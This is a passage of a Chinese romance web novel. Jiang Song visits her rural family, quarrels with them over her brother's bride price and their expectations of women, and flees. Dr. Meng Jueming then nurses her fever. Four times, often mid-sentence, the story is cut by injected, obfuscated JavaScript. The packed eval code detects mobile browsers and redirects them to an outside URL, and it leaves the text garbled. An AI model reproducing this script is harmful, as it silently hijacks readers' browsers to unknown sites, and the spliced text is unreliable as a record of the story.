“是我刷到了一个本地摄影师安利贴。”她说,“我在那些客片里一下子就看中了你拍的那一组。” “然后我就找到你的账号考古了一下你的作品,每一张都好漂亮。其实我很不爱出门,尤其是这种天气,是因为看了你的客片,我才临时决定要来的,没想到你正好有时间,我还觉得很幸运呢。” 姜颂:“我觉得也许你的愿望不是被调剂了,而是正在实现的路上。” 摄影师愣怔地看着姜颂,不知不觉走出去好长一段距离,已然蹚着雪地稳稳当当地走上了方才她望向的那条路。 姜颂朝她眨眨眼,笑盈盈:“加油哦,期待有一天能在荧幕上看到你的作品。” 摄影师感动得扑上去给了姜颂一个熊抱,把姜颂吓了一跳,她激动表示今晚加班也要把照片修出来,底片全送。 和摄影师道别后,姜颂去打卡了一家网红咖啡店。 虽然哄好了摄影师,但她对摄影师说的愿望调剂还是心有戚戚。开始回想刚才在庙里的许愿内容,越想越觉得说得太笼统了,心里一阵打鼓。 跟人生规划这种可以条条大路通罗马的事情不一样,官司赢不赢可是一锤子买卖,还是得说清楚更保险。 咖啡味道很一般,姜颂揣着心事压根没喝两口,出了门又折回庙里对着佛祖唠叨了好一会儿,恨不得把孟决明身份证号都报给佛祖,方便他老人家精确到人。直到觉得什么都说清楚了,才心满意足地跟佛祖道了别,准备回家。 最近天气不好,公交车上一大片空座位,姜颂选了个靠窗的位置坐下来,戴上耳机听歌,脸上是幸福的笑意。 想了想,她发了条微信给孟决明:【我帮你卜了一卦,你想知道签上写了什么吗?】 此时的孟决明正和张威正站在法院门口等待开庭。 收到消息的孟决明莞尔一笑。 他回道:【等判决书出来再告诉我吧,赢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008032|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算锦上添花,输了就当安慰我,怎么样?】 姜颂发了个疑惑的表情包:【你怎么就确定是好的呢?】 他笑意更深:【不好的话,你应该会当做没这回事,也不会告诉我。】 姜颂不回话了。 张威站在一旁,观察着孟决明不断上扬的唇角,明知故问道:“跟谁聊天呢,笑这么开心?” 孟决明笑意未收,手机揣进口袋,道:“朋友。” “女朋友吧?”张威意味深长。 “还不是。” “哦,那就是还在追。”张威心领神会地笑笑,孟决明也笑着没答话。 张威瞄了眼手机时间:“快到时间了,紧张吗?” “还好。” “还好?” “嗯。” 张威摸摸下巴,嘶了一声:“你就这么有把握我们会赢?” “没把握。” 张威:“要是输了,你这工作大概也保不住了,你不在意?” 孟决明看着他:“你的能力我有所耳闻,如果你都打不赢,那只能说明是天意。” 说着,不远处驶来的一辆车上乌泱泱地下来一车男女老少,刘光远远地朝孟决明和张威两人望来。 即使隔着一段距离,也能感受到那目光里滔滔不绝的恶意。 张威看了片刻,唇线慢慢绷直,眼神也冷了下来,他拍拍孟决明的肩膀,道:“今天帮你打赢这场官司,等你婚礼摆席我要坐主桌。” 没等孟决明接话,张威整理了一下仪容,手里拿着资料,目光投向法庭大门,隐隐有些激动:“走吧。” 法院大门打开,两拨人一同涌进。 * 姜颂不知道自己是怎么了,明明孟医生每一句话看起来都很正常,但她就是会理解出一点别的意思。 她双手捂住脸,晃了晃脑袋里那些乱七八糟的想法。 怎么能这样呢!!!还能不能好好做朋友了!!! 耳机中欢快的歌曲旋律里,夹杂了一声微信消息通知音。 姜颂以为是孟决明,捂了好久才点进去看。 看清内容和发信人,她嘴角的弧度缓缓凝住。 妈妈:【姜姜,家里做了点腊肠,妈妈给你寄一点好吗?】 她看着消息不知道该说什么,明明她已经说过无数次不需要给她寄东西了。 隔了一会儿,姜母又回复道:【春节能回家吗,妈妈真的好想你。】 姜颂无意识地咬着嘴唇上的死皮,犹豫了很久。她什么也没回,关了手机,将头靠在车窗上,闭眼假寐。 回到家,她的脑子还是乱糟糟的。为了防止自己有空想七想八,她打了鸡血似的坐到工作台前做一个未完成的钩织单子。 钩到最后她才发现针数对不上,也不知道哪里漏了一针,只好默默把刚才钩好的两圈线全部拆掉重来。 这次钩了四圈,又开始漏针,又拆。 一个小时过去,几乎毫无进展。 姜颂面无表情地把线全扯乱,吐了一口气出来。 她垮着脸瞥向桌面上的手机。犹豫了片刻,拿起来,打开某个出行软件操作了几下。 接着,她点开了和母亲的对话框,编辑了一条消息 【明天我回家。】 按下发送键的前一秒,她删掉了“家”。 最后发出去:【明天我回去。】 发完消息,心绪渐渐趋于平静,她又拿起那团乱七八糟的线理了起来。 15. 第 15 章 雨花镇的发展程度很一般,没有什么产业,青壮年人口也在逐年流失。 小镇上剩下的大多是老弱病残,出行需求低,交通自然不够发达,一天只有上下午各一趟往返城里的班车,错过时间就只能坐漫天要价的黑车。 姜颂抱着背包坐在班车上,心事重重。 车上大姨大妈们七嘴八舌地用方言唠八卦,不断干扰着她的神经。 烦躁之意油然而生。 她扭头看向窗外,银装素裹,入目皆是白茫茫的一片。 让她想起离开家的那一晚,也是这样的大雪天。 当年,她拖着行李箱在雪地上艰难滑行,身上的夹棉外套被不断融化的雪花洇湿,又凉又沉,风一吹,直冷到人心里去。 天地茫茫,这样的天气,又是夜里,连一辆车都打不到。 她去了镇上唯一一家小旅馆。小旅馆的房间年久失修,房间潮湿,墙皮脱落。暖气是凉的,被子上印记斑驳,透着一股子怪味。 姜颂从箱子里翻出新外套,换下湿的。她被冻得瑟瑟发抖,却不敢盖那被子,在灯光昏暗的房间里坐了一整夜。 她不知道自己该去哪里,第二天随便买了一张车票。 列车开动之后,又开始下雪,她乘坐的那趟车刚开了没多久就停了。 临停的站点就在桐市。 她觉得那是命运指引她要去的方向,于是一待就是两年多。 时间会冲淡一切情绪。 姜颂也说不清看见母亲一遍一遍地说想她的时候自己心里是什么情绪占了上风,以至于她鬼使神差地买了回家的票。 坐上回家的列车时,她又有些后悔。 当窗外景色越来越熟悉,她的心情就越来越复杂。 车停了。 雪后初晴,正午时分的阳光抵消了一丝大雪带来的寒冷。 姜颂从车上下来,站在街口打量着这个曾经熟悉现在却有点陌生的地方。 再往前走一段就是镇中学,她曾经工作的地方。 里面的学生都是附近村里的孩子,学校没设食堂,中午学生们都是骑自行车回家吃饭。 这会儿正赶上饭点,远远地就能听到学校里传来的放学铃声,学生们骑着车一股脑儿从校门涌出。 姜颂往路边躲了躲。 她现在的位置离家还有三四公里,这里打不到车,也没有共享单车,走回去也得挺长时间,她犹豫着要不要给家里打电话叫人来接。 “姜老师?!” 一辆自行车在她面前急匆匆刹住。 车上的女孩子皮肤偏黑,绑着个马尾,一双眼睛从那稍显厚重的刘海后面露出来,看到姜颂满是惊喜。 “我是小言,姜老师你还记得我不?” 虽然很久没见,但曾经教过的学生姜颂也还是很快认了出来。 姜颂:“当然记得了,你现在都上初三了吧?” “对呀对呀!”小言打量着姜颂这副风尘仆仆的模样,“姜老师是要回家吗?” “啊,对。” 小言指指车后座,说:“那还挺远呢,我送您回去吧,也顺路。” 姜颂没有拒绝。 小言在前面骑车,随口问道:“老师,您这两年回来过吗?” 姜颂说:“没有,工作太忙了。” “您走了之后我真的怪想您的,”小言说,“我一直都特别感谢您,要不是您当初拉住我,我估计早就辍学去厂子里打工了,没准过几年就和我那些朋友一样早早就结婚生孩子了。” 小言爸妈都在外地打工,因为没有人管,她从小学就开始跟高年级的混混在一起混日子,抽烟喝酒样样精通。 初一才上了半年不到,差点被人骗着私奔。当时姜颂刚毕业,被分到镇上中学当老师,满腔热血,实在看不下去,顺手拉了她一把。 姜颂笑道:“你好好学习,将来考个好大学,就当谢我了。” “那当然了,我现在成绩可好了,我们班主任说来年考上县一中没问题。” 少女得意洋洋,一路上叽叽喳喳地给姜颂讲了好多她走之后的八卦。 “杨老师也走了,因为去年我们班有个男生不写作业,杨老师把他爸妈叫来了,他妈在办公室打了他一巴掌,那个男生回家跳河自杀了,他爸妈一直跟学校闹,杨老师就辞职了。” “张老师好像要考公务员,我去办公室的时候看见她桌子上放着好多资料,大家都在传她要考回老家了。” “啊对了,还有……赵吉……”小言音量减弱,没感到后座的姜颂有不高兴的意思,便自顾自地说下去,“自从那件事之后,老师们谁也不敢管他了,我听说他高中也没考上,职高也不愿意去,现在在家里跟一帮辍学的小混混混在一起。” 小言背对着姜颂,自然没有看到她眼神里一闪而过的嘲意。 小言想把她送到家门口,姜颂没让,在街道路口下了车,远远地就看见站在家门口的母亲朝她们这边看来。 姜颂跟小言道别,往母亲的方向望过去。 母亲喜笑颜开,小跑着过来帮她拎包:“姜姜,妈给你拿!” 姜母抢过她的背包,拿在手上一掂,很轻,轻到像是什么也没放。 她脸上有些失望,抿抿唇,道:“姜姜,今天在家里住吧?” “嗯。”姜颂说,“明天早上走。” “多住几天吧。” “工作忙,请假要扣钱的。”姜颂没看她,一边走路一边淡声道。 姜母许久没作声,半天才嗯了一声。 母女俩走到家门口,姜颂这才注意到附近停着一辆看起来很新的黑色轿车。 她不懂车,但她隐约记得以前在学校工作时同事有一辆一模一样的。她记忆犹新,因为同事提车后上班第一天在办公室里足足讲了五遍,那辆价值二十万的车是她妈妈因为她考上编制而奖励的礼物。 姜母注意到女儿的目光,说:“啊,这是你弟弟的车,这不是要过节了吗,我就把他叫回来一起吃饭了。” 姜颂面无表情地点点头:“哦。” 姜母见她情绪不高:“赶紧进去吧,还有几个菜一会儿就好了。我左等右等都没见到你人,正想给你打电话,没想到一出来就看见你了!” “在外面工作累吧,肯定没好好吃饭,我看你都瘦了一大圈。”姜母说,“今天做了你最喜欢的油爆虾,你可得多吃点。” 姜颂微笑着回应了几声,经过院子的时候,她下意识地往墙角看去,那里放了一口大水缸。 她收回视线,跟着母亲进了屋。 屋子里摆了那张用来待客的红色的木质大圆桌,可以坐得下十二个人,然而眼下只坐了父亲姜辉、弟弟姜骄、大伯姜彪和奶奶,位置很宽松。 姜颂一进屋,几人一齐看来,姜骄喜上眉梢,蹭地站起来:“姐!你可回来了!快过来坐,今天都是你爱吃的!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008033|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜彪:“哎哟,这不是我大侄女吗,可舍得从桐市回家咯。” 姜奶奶伸手打了儿子一下:“你个当大伯的瞎说什么呢?” “我这不是跟我大侄女开玩笑嘛。”姜彪不以为意。 姜颂对姜骄笑了一下,没理大伯,也没往父亲那边看,但能感受到他投来的视线。 两人谁也没跟谁先开口。 姜母见状,连忙把姜颂推到座位上,说道:“来来来,姜姜,先坐,还有两道菜马上就好,你们先吃吧。” 闻言,其余人分了碗筷,盛好饭,准备开吃了。 姜母把姜颂的包放在一边的矮柜上,一步也不敢停歇,忙叨叨地去堂屋继续炒菜。 姜颂坐的位置正好能看见门外母亲忙碌的身影。 姜彪笑嘻嘻地说:“弟妹做饭真是越来越好吃了。” 姜辉嗯了一声。 姜骄一直看着姜颂,好半天才找到机会开口:“姐,你这次回来住几天啊?” 姜颂的目光从母亲身上收回来,答道:“明天早上就要赶回去加班。” “还是城里好啊,出去就都不想回来了。”姜彪吃得满嘴流油,吐字都模糊,“我听说姜姜舅舅家的那个小孩也在桐市读书呢,读的研究生是吧?” 姜父冷哼一声。 姜颂神色冷冷,懒得说话,觉得留在这里呼吸困难。她起身朝堂屋走去。 堂屋里,灶台上一个锅里炖着汤,另一个锅里炒着蒜薹炒肉。 “正好,这汤可以盛出来了,你端过去吧。”姜母说。 姜颂到碗柜里拿汤碗盛汤。 姜母往屋内看了一眼,回过头来压低声音对姜颂说:“别理你大伯,他爱说什么说什么,今天过节,忍忍他,别闹得不好看。” 姜颂没作声,往碗里盛汤的时候倒得太急,汤不小心洒出来了一点,溅到她的白色羽绒服上,她皱眉。 “哎呀,你看你,弄衣服上了吧,你回去坐着吧,妈来弄。” 姜颂还是端了汤回去。 桌上摆得满满当当,最后一盘蒜薹炒肉没有地方可放,调整了半天碗盘的位置,才放在了姜骄面前。 “菜齐了!” 姜母坐在姜父和姜颂之间,将两人隔开,姜颂才落座。 她一言不发,埋头吃饭。 姜奶奶端着那盘蒜薹:“把这个放姜姜前面,她爱吃。” 姜母接过来,姜奶奶把姜颂面前的酱牛肉换走。 姜颂扫了一眼那盘蒜薹,什么也没说。 姜骄夹了一只虾放到她碗里:“妈特意给你做的,姐你多吃一点。” 姜颂看着碗里那只虾,想起了小时候的姜骄。 其实她从小就不在家里常住,跟这个小她六岁的弟弟也说不上有多亲,不过仅有的记忆里,姜骄从小就很爱黏着她,每次见到她都会把自己珍藏的零食分给她。 姜颂喜欢吃虾,而小时候家里条件不好,只有逢年过节能吃上一顿一盘只有二十只左右的冷冻虾。有一次小姜骄被父亲带出去吃婚宴,知道她那天从学校放假回家,特地从席面上带回来了六只虾,揣在怀里回来献宝似地给她,虾还热着。 她对家里再有怨气也没有办法对姜骄做到完全冷脸。 姜颂对他微笑:“谢谢。” “嗯哼!” 姜父清了清嗓子,终于开口放出了一个重磅消息。 “小骄年后要结婚了。” 16. 第 16 章 姜颂缓缓抬眼,见一桌人没人看姜骄,却都在盯着她,仿佛那个即将要结婚的人是她。 她废了好大的力气才控制住自己没有笑出声来。 惊讶道:“是吗,什么时候的事呀?” “是你王姨介绍的,小姑娘长得不错,也很能干,女方家里要了三十万彩礼和县城的房子还有车,等这些准备齐了就去领证。”姜母道。 姜颂哦了声表示自己知道了,继续吃饭。 姜骄欣喜中还掺杂着一丝羞涩,别扭了一会儿,问姜颂:“姐,我的婚礼你会回来参加的吧?” 姜颂未置可否:“工作不忙的话就回来,太忙我也不好请假。” “那也得回来,你个当姐的不回来算怎么回事!”姜父道。 姜颂淡淡看向他,笑意不达眼底:“那你去跟老板请假好了,反正我是请不下来,万一工作丢了谁会管我。” 姜父:“你听听你说的是什么话?当初老师当的好好的,还有编制,你任性辞职你怪谁?” 姜奶奶:“是啊,姜姜,可不能这么跟你爸说话啊。” 姜彪没说话,好整以暇地围观。 姜骄皱着眉,看看父亲,又看看姐姐,欲言又止。 热腾腾的饭菜冒着袅袅热气,听见这句的姜母的心却一下子凉了下去,紧张地看着女儿。 饭桌上安静得像被静了音,只有姜颂小声咀嚼的声响。 “好好的吗?”姜颂戳着碗里的米饭,忽然轻声说,“对啊,除了我,你们都好好的。” 姜母见势不对,眼神示意姜父住嘴,可惜完全拦不住。 姜父面色铁青:“当老师有什么不好?咱们这孩子少,事也少,还有寒暑假,离家也近,你说说你有什么不满意?” 姜奶奶:“就是啊,小姑娘家家的,当个老师多好找对象,当初要是答应赵……” “省城的公务员不更好吗?”姜颂冷不防地打断。 此话一出,姜父的怒气像是锅里窜起一丈高的火苗,被人拿了锅盖一下子压了下去。 姜彪看了姜父一眼。 姜父抖着的手指着姜颂:“你就是记恨上我了是吗?” 姜颂什么也不想说,撂下筷子,饭也没吃完,走到一旁拎起包,把一桌人扔在身后,回了房间。 姜骄叫了姜颂几声,后者也没理他,他埋怨父亲:“爸你这是干嘛啊!” “一个女孩子不好好在家待着找个好人嫁了,跑那么远干什么,还动不动就不回来,真是养了个白眼狼……” 姜颂关上房门,姜父的指责声被隔绝了大半。 她紧绷的肩膀松下来,打量着这房间里的布置。 床单是新换过的,地板也很干净,应该是母亲刚打扫过,很整洁。 只是房间里透着一股子霉味,还堆放了许多杂物,即使已经用布罩遮住,还是让她觉得心口堵得难受。 她用力闭了闭眼,从口袋里拿出手机。 外面围绕着姜骄婚事的交谈声不绝于耳。 “等侄媳妇进门弟妹也可以歇歇了,就是不知道侄媳妇做饭好不好吃。” “哎哟,没想到我老太婆还能活到看着我大孙孙娶媳妇,小骄啊,等结了婚可得赶紧生孩子啊,奶奶等着抱重孙子哩!” “现在政策放开了,不像生你那会儿,还得躲着藏着的,小骄你们抓紧多生几个,孩子妈帮你带。” “听说侄媳妇还是大城市学校毕业的大学生呢,现在有点学历的女人都不乐意生孩子,到时候能听话吗?” “哼,又要彩礼又要房车的,陪嫁也没有,还不生孩子?那娶她进门干什么?” “小骄啊,你跟那姑娘好好处,最好婚前就让她把孩子怀上,这样我们也放心点。奶奶跟你说,这女人啊,有了孩子就心软,到时候没准彩礼还能少点,钱拿回来你们小两口用着多好。” “害,这好办,房车都记在我弟名下就行,我前几天看快手,说现在离婚还能把彩礼要回来,到时候她不生就换一个呗。再说了,我大侄女这么漂亮,找个有钱人嫁了,咱家还能进账一笔呢!” …… 不知过了多久,门外的交谈声渐渐趋于安静。 姜母端着饭菜推门进来。 “刚才你都没吃多少,这是妈妈给你留的,不是剩菜,快来吃吧。” 姜颂坐在床上,盯着小碗里的油爆虾。 姜母在她身边坐下来:“轩轩今年秋天也去桐市读研了,你平时多照顾照顾他,你舅舅好歹也养了你那么多年,咱们得知恩图报。” “嗯。” “你别跟你爸生气了,他毕竟是你爸,父女俩有什么不能过去的恩怨呢?” “嗯。” 她什么也不想说。 “你岁数也不小了,其实你爸他们说得也不错,你早点嫁了也好,只是现在肯定要结在你弟弟后面了,妈都没办法给你多一点的嫁妆。”姜母长吁短叹。 听到这里,姜颂冷淡的脸色终于有了一点表情,她缓声问:“我就算结在小骄后面,关我的嫁妆什么事呢?” “你弟媳妇进门了之后,人家肯定不愿意呗!” “你怎么知道?” “都是这样的。” 都是这样的吗? 姜颂微笑:“没事呀,妈妈,你可以现在把嫁妆钱先给我,这样就不用担心了。” “你不结婚我怎么给你?” “反正是要给我的,那提前给跟结婚当时给,有什么区别吗?” “那不一样……”姜母一时语塞,想要说什么却又不知道怎么说。 半晌,姜母叹道:“你好不容易回来一趟,咱们不说这些了。” “晚上妈妈包饺子,你想吃什么馅的?” 姜颂没说话,移开目光,看着手机屏幕上司机发来的消息。 【我到你家门口了,出来吧。】 那碗油爆虾她终究还是无福消受。 她起身,拎起背包,挎在单薄的肩上。 她站在那,跟母亲隔着一段距离:“不用了,我要回去了。” 姜母闻言不知所措地看着女儿:“不是说好了明天走吗?好不容易回来,怎么这么快就要走?” “不为什么,妈妈。”姜颂说,“我要上班——” 她笑:“给自己攒嫁妆。” 姜颂不顾阻拦往外走,姜母追在她后面,絮絮叨叨地劝她再留一天。 姜父醉酒,躺在堂屋呼呼大睡。 姜骄听见动静,连忙追出去。 “姐,你别生爸的气了,他那人说话就那样,你好不容易回家一趟,起码住一晚吧,妈知道你要回来提前好几天就在收拾了。”姜骄拉住她的衣角,像小时候每次送她去舅舅家抓着她不想让她离开那样。 她没什么情绪地看着这个弟弟。 身后一辆车子缓缓在她面前停下,司机大叔放下玻璃:“姑娘,是你打的车不?” 姜颂应了一句。 司机:“真不好意思,本来有个人跟你一块拼车,你俩一人一百五,但是那个人不走了,你要自己坐车的话得付三百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014413|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜母听见高昂的打车费,顿时大怒:“你是隔壁村老刘家的吧,去个车站要三百块?穷疯了吧你!” “嘿!怎么说话呢,我一直都是这个价格,跑了好多年了。冬天出门的人少,没人拼车我要是按拼车价格收连邮费都赚不回来,那谁有办法?” 烦躁的情绪在姜颂心底蔓延,渐渐填满整片心房,压迫得她喘不上气。 三百也好,三千也好,付出什么代价都好,她想要离开这里。 哪怕提前一秒也好。 姜母还在纠结车费:“姜姜,这也太贵了,你再住一天吧,明天让小骄送你去,他有车。” 这一次,姜颂还是拉下弟弟的手,像小时候那样。 “车还是留给弟媳妇坐吧。” 她终于笑出了声:“妈妈,回家的代价太贵了,我真的负担不起。回去吧,别送了。” 姜颂头也没回,径直上了车。 车子缓缓启动,母亲和弟弟的身影在后视镜里逐渐消失。 车内,姜颂从包里翻出纸巾,擦掉眼泪。 那司机一直从镜子里瞟着她。 以为她是觉得被骗了才哭,他有些抱歉,跟她商量:“姑娘你别哭了,要不这样,你给我二百得了,叔开的油车,真比不上他们电车省钱,起码让叔把油钱赚回来,行不?” 姜颂摇摇头:“没事,答应了多少就是多少,您不用管我,我哭一会儿就好了。” “哦,行,那叔给你放个歌听吧,可别一劲儿哭了。” 和缓的前奏响起,像摇篮曲。 温柔的女声低吟浅唱。 “我的孩子啊,你放心吧,我会是你永远的避风港。” 姜颂扭头看向窗外飞快倒退的景色,眼泪流下。 家是避风港吗? 可为什么她的避风港总是风雨交加? 又一次,她在这样一个雪天逃离了雨花镇。 * 大概是哭累了,从车站下车回小区的路上,姜颂在出租车上睡了一路。 她头疼得厉害,睡着后梦里还是那些乱七八糟的声音。 结婚、彩礼、嫁妆、房子、车子、孩子…… 吵得她恶心,眩晕感阵阵袭来。 一下车,她抱着小区外的垃圾桶吐了个天昏地暗。 可她胃里早已没了东西,反流的胃酸让她恨不得把五脏六腑一起吐出来。 她被呛出眼泪,头晕目眩,慢慢蹲在地上,缩成一团。 她不知道那个素未谋面的女孩是怀揣着怎样的心情同意了她家这门婚事,姜颂不善良地希望对方最好不要付出哪怕一丁点的真情。 不值得,为了谁都不值得。 她想,她永远都不要结婚,谁也不值得她把自己的命运交到别人手里,被毫不知情地推到这样可怕的境遇里。 永远不要。 绝对不要。 缓了好久好久,她扶着垃圾桶的边缘站起来。 穿过雪地的冷风穿透她的身体,她觉得自己一阵发冷一阵发热,难受到什么力气也没有了,不知道自己还能不能好好地爬到楼上的家里。 拖着虚浮的脚步走到楼下,视野有一瞬的模糊,连楼下照明灯的灯光在她眼里都有了光晕。 柔和的光晕里,站着身形颀长的男人,穿着驼色羊绒大衣,手里拿着手机,不知在发什么。 紧接着,姜颂口袋里的手机振动一声。 似是听见动静,他动作一顿,缓缓转过身,朝她看来。 “姜姜。” 17. 第 17 章 姜颂看着孟决明快步朝她走来。 不知道是不是因为他走得太快,她竟觉得他的身影开始模糊,还重影。 她用力闭上眼,又睁开,他人已来到了她面前。 孟决明个子高,肩也比她宽很多。他往那一站,身影直接整个覆住了姜颂。 他解释来意:“我从法院出来给你打了电话,你没接,消息也没有回。间隔时间太久了,我担心你一个人住是不是出了什么问题,所以过来看看。” 太久没开口,刚刚又吐得太厉害,姜颂的嗓子非常难受。 她声音有些哑:“我回了趟家,刚回来,在路上没注意消息。” 孟决明松了口气:“没事就好,看你家没开灯,把我吓了一跳。” 姜颂几乎听不清他在说什么,耳鸣越来越严重,头痛得像要炸开。 姜颂强忍着,问他:“开庭顺利吗?” “很顺利,你帮我求的那支签很有用,谢谢姜姜。” 姜颂想对他笑一下,可惜她实在没有力气。 她忍着强烈的不适感,深吸一口气,准备送客:“孟医生,如果没有别的事情的话,我先上楼了。” 说着,她不知哪来的一股力量,支撑着她从孟决明身边穿过。然而这股神秘力量续航有点短,她身形一个踉跄,猛然向下栽去。 孟决明敏捷地单手架住她胳膊,扶着她站稳。 “姜姜,怎么了?”他焦急询问。 姜颂半靠着他才不至于脱力到躺地上,她摇头:“可能……有点低血糖……” 光源打在姜颂脸上,孟决明这才发觉她的不对劲,刚才逆着光,他一直没发现姜颂的脸色透着不正常的红。 他抬手用手指背面轻轻贴了贴姜颂的额头,温度高得吓人。 他皱眉:“你在发烧。” 姜颂借着他的手重新站稳:“没事,我回家吃点退烧药就好了,你回去吧。” 说罢,她挣脱孟决明的手臂,想要自己上楼,不过没走出去几步,脚步一阵虚浮,整个人都在晃。 孟决明眼疾手快地捞过她的手臂,低头,让她搂着他的脖子。 “你这样自己在家,万一烧糊涂了怎么办?”他不由分说抄起她的膝弯,“我先送你回家。” 姜颂想说这样不合适。 但,或许是因为他的怀抱太过温暖,也或许是生病的人格外矫情,她忽然有些贪恋这片刻的温暖。 就这一次,她没什么力气地闭着眼想,她就再不负责任地任性这一次。 姜颂不再挣扎,任由他抱,感受着他胸膛处散发的淡香。 孟决明抱着她稳稳踏上每一阶楼梯,丝毫没有颠簸。 进了门,他扶她靠在沙发上,到厨房冲了杯糖水。他坐到她身旁,托着杯底,让她就着他的力气喝。 姜颂小口小口地吞咽了几口,感觉稍微好了一些。 孟决明问她药箱的位置,姜颂指了指茶几底下。 他从药箱里找出测温枪,一量,温度直逼三十八度。 她不想去医院。 这么晚才回来,孟决明猜她一定是还没吃晚饭,他说:“我给你做点东西吃吧,然后吃一颗退烧药,你就休息,明天要是还不退烧,我必须要送你去医院,不要任性,好吗?” “我没胃口。”她摇头。 “吃一口也行,空腹吃药对身体不好。”孟决明说,“等我一小会儿就好。” 姜颂有气无力地嗯了一声。 片刻后。 孟决明端着一碗热粥出来,却见姜颂靠在沙发上睡着了。 他放下粥碗,在她面前缓缓蹲下身。 暖黄色的灯光下,姜颂的一张小脸烧得通红,眉头紧皱,睡得极不安稳。 “姜姜?”他小声叫她的名字。 姜颂迷迷糊糊地将眼皮掀开一条小缝,也不知道有没有意识。他没等到她的回答,就见她又闭上眼昏睡过去。 他重测了一遍体温。 还好只是低烧,不吃药就不吃药吧。 孟决明单膝跪地,轻手轻脚地将人打横抱起。 好轻。 轻到他觉得她比兰花重不了几斤。 脆弱又可怜,他不敢用力抱她。 刚刚煮粥的时候他看了眼她的冰箱,只有一些瓶装水、提前预制的牛肉和虾仁,其余什么都没有。 怪不得这样轻。 他想,以后要给她做很多菜,监督她好好吃饭才行。 推开卧室门,他将人轻放在床上,见她身上还穿着羽绒服。他小声对她说抱歉,帮她把外套脱掉,盖上被子。 睡梦中的姜颂一直在皱眉,不知正被什么梦境困住。 他半跪在她床前,温柔注视着她。 他觉得今天的姜颂看起来很不开心。 也不知道她今天回家到底发生了什么事,让她的情绪这样低落。 他伸出手慢慢靠近她的脸,在即将要触碰到的时候又停了下来。 他轻轻帮她拂去脸上的几根碎发,为她掖好被角。 不吃药也不能放任她这么烧下去。 他在冰箱里找到了一些冰块,丢在水里,再用冰水打湿毛巾,用物理方法给她降温。 他不放心,一直在床边守着,找了个垫子坐在地上,背靠着她的床。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017799|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 隔半个小时就用冷毛巾擦擦她的脸颊和掌心,然后再测体温 半夜三点,测温枪终于变绿,孟决明松了一口气。重新为她掖被角时,看到一滴泪从她眼角滑落。 床上,睡梦中的姜颂眉头紧皱,眼皮下的眼球不停滚动。 不知做了什么噩梦。 * “姜姜,到了舅舅家一定要听话知道吗?以后你考上好大学,一定要记得你舅舅的好。” 姜母两只手提满了从家里带来的礼物,没有手再去牵十三岁的姜颂。 姜颂望着母亲手里那些花花绿绿的塑料袋。 那是她和母亲一大清早起来去菜地里现摘的新鲜蔬菜和家里养了很久的土鸡。 姜颂瞥见母亲被袋子勒得通红的手指,一言不发地分了几个袋子到自己手里。 走了一段路,她还是没忍住,低着头声如蚊蚋:“妈,我不想去舅舅家。” 姜母走得太快了,街上又是车来车往,姜颂仰头看着姜母,见她没有任何反应,猜到她应当是没听见。 可她也没有勇气再说第二遍。 家里有她和弟弟两个孩子,母亲说将来他们姐弟俩需要花很多钱,她和父亲必须得外出打工赚钱。 弟弟还小,离不开父母,而她却已经是要上初中的大姑娘了。 以后她就住在舅舅家,直到高中毕业。 姜颂知道就算母亲听到了也改变不了什么,就像已经摘下来的蔬菜不能再回到土里生长,杀掉的土鸡也不会再活过来到处溜达。 姜颂抿了抿唇,就当刚才的话没说过。 在小区里转了几圈,母女俩都没找到究竟是哪一栋楼。 姜舅舅家的小区很大很漂亮,从小没离开过雨花镇的姜颂从来都不知道,原来世界上还有人的家是这样的,整洁又漂亮。 住在这里面应该不会在冬天被冻得瑟瑟发抖吧? 姜颂好奇又羡慕地打量着眼前这个新世界,一旁的姜母则拨通了姜舅妈的电话。 姜颂听见电话接通,尽管隔着电话看不见脸,母亲依然换上了一副讨好的笑脸,连带着语气也殷勤起来:“弟妹啊,我们到你家小区了,但是我忘了你们住哪栋楼了。” 姜母在厂子里上班,常年被机器噪音打扰,听力大大下降,因此手机的音量调得很大,姜颂听见听筒里传来舅妈略有些不耐烦的回答:“六栋。” “哎哎哎,好,我知道了,我们马上到啊……” “嘟嘟嘟嘟……” 